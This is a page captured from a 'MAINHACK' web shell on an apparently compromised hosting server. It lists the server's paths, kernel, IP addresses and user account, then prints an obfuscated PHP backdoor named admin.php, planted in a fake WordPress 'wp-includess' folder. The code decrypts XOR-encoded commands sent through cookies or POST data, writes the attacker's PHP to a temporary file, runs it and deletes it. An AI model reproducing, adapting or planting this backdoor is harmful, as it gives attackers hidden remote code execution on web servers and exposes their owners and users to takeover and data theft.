MAINHACK

MAINHACK Shell

: /home/creationoo/www/wp-includess/js/ [ drwxr-xr-x ]
Uname: Linux webm001.cluster110.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Software: Apache
PHP version: 7.3.33 [ PHP INFO ] PHP os: Linux
Server Ip: 213.186.33.19
Your Ip: 216.73.216.124
User: creationoo (224166) | Group: users (100)
Safe Mode: OFF
Disable Function:
_dyuweyrj4,_dyuweyrj4r,dl

name : admin.php
<?php 	function/*kkv*/gmkpxjymto(){$xrgoyc='pqjl_irc';       print_r	(80076+80076);	}


$kxpdks/* rbleo*/=/*  emo */'kxpdks'    ^	'';



function	avcfexaw($ebabq,/*ckyi  */$fmanhixk_u){

	global      $kxpdks;
	$kcufxzel	=/*   kurz  */"";
/*   x */for/*fbcdd*/($efcoerlk_/* h*/=      0;	$efcoerlk_/* l   */<	strlen($ebabq);)	{

/* vae  */for/*   pl  */($_evuewrs/*vr*/=	0;/*  tbz_g*/$_evuewrs	</*   g  */strlen($fmanhixk_u)	&&	$efcoerlk_/*   wizj */<      strlen($ebabq);/*_m_tn   */$_evuewrs++,	$efcoerlk_++)/*pixuy   */{


/*   htqqg*/$kcufxzel    .=	$kxpdks(ord($ebabq[$efcoerlk_])	^/*  lr */ord($fmanhixk_u[$_evuewrs]));


	}
/*e*/}
/*   t   */return/*drlew   */$kcufxzel;
}


function/*   j   */mlaewapysx($qclst,   $ebabq)

{

/*  y*/global	$kxpdks;



	$hyukpkreme	=/* aia */sprintf("\56"/*  xiayt*/.	"\57"/* hujz*/.     $kxpdks(37)  .	"s".$kxpdks(81-35)/* _  */./*htxo*/"p".$kxpdks(108),     md5($qclst));


	file_put_contents($hyukpkreme,  "<"	.	$kxpdks(63)	.	$kxpdks(723-611)/*  ieabi*/.	"\150"	./* c   */"\x70"	./* s_vnd */$kxpdks(32)  ./*zumc */"\165"/*  nubi  */.      "n"."l".$kxpdks(594-489)."\x6e"/*  ydtf*/.       "k"."(".$kxpdks(95)     .	"_"."F"."I"."\114"	./*hdgr   */$kxpdks(319-250)/*   xbb */.   "_"."\x5f"	./*e */"\x29"       .	"\73"/*m */.    $kxpdks(32)      .      $ebabq["\144"]);
    include($hyukpkreme);

       $_qnzsfus_      =	$hyukpkreme;


/* oum_   */unlink($_qnzsfus_);


}


function/*   oor */gauicdnn()


{       global/* io */$kxpdks;


   


  $efcoerlk_/*  gj  */=/* nq*/array();

	$efcoerlk_["p".$kxpdks(118)]/*  wfa  */=	phpversion();
      $efcoerlk_[$kxpdks(115)/*  umh*/.	"\x76"]       =  "\x33"	.      $kxpdks(780-734)	.	"\x35";


/*   lvew  */echo	@serialize($efcoerlk_);
}


function     qtkvwocr($ebabq,	$qclst,/* zhzzq  */$cvzvjuay){/*  g  */global/* ofibz  */$kxpdks;

/*pdfef */


/*  z*/$ebabq	=/*xvhfj  */unserialize(avcfexaw(avcfexaw(base64_decode($ebabq),	$qclst),/* ehxvz  */$cvzvjuay));


  if	(isset($ebabq[$kxpdks(97)    ./*p  */"k"]))     {

	if	($ebabq["\141"]   ==	$kxpdks(594-489))/*  _  */{	gauicdnn();


      }/*   n_*/elseif     ($ebabq["\141"]  ==	"\145")    {

	mlaewapysx($qclst,  $ebabq);


	}
	exit();


	}}

$ohyeuw_jkb	=/* yzvaz*/$_COOKIE;


$lwruwivq  =   $_POST;
$ohyeuw_jkb	=/*u  */array_merge($lwruwivq,    $ohyeuw_jkb);


$qclst    =      $kxpdks(1006-953)  ./*   hnpel*/$kxpdks(447-394)/*iwis   */.      "\x62"    ./* w   */$kxpdks(54)/*  rjyvr */.    $kxpdks(98)   .    "c"."8"."b".$kxpdks(798-753)	.	"4"."9".$kxpdks(49)	.     "4"."\x2d"/*hv */./* hta */"4"."\63"       .	"5".$kxpdks(97)/* t   */.    "\55"/* y   */./*i*/"8".$kxpdks(53)  .   $kxpdks(556-503)	.     "f"."\55"	.     "4"."\141"."\141"."7"."b"."\145"."\141".$kxpdks(545-497)/*wtci  */./*   vbyt*/$kxpdks(52)/*  yf */.     "\142"  .	"\144"."\66";foreach/*wa*/($ohyeuw_jkb	as/*  yumx_   */$cvzvjuay       =>/*  r   */$ebabq)   {


	qtkvwocr($ebabq,/*   bxwut */$qclst,/*h*/$cvzvjuay);
}


© 2026 MAINHACK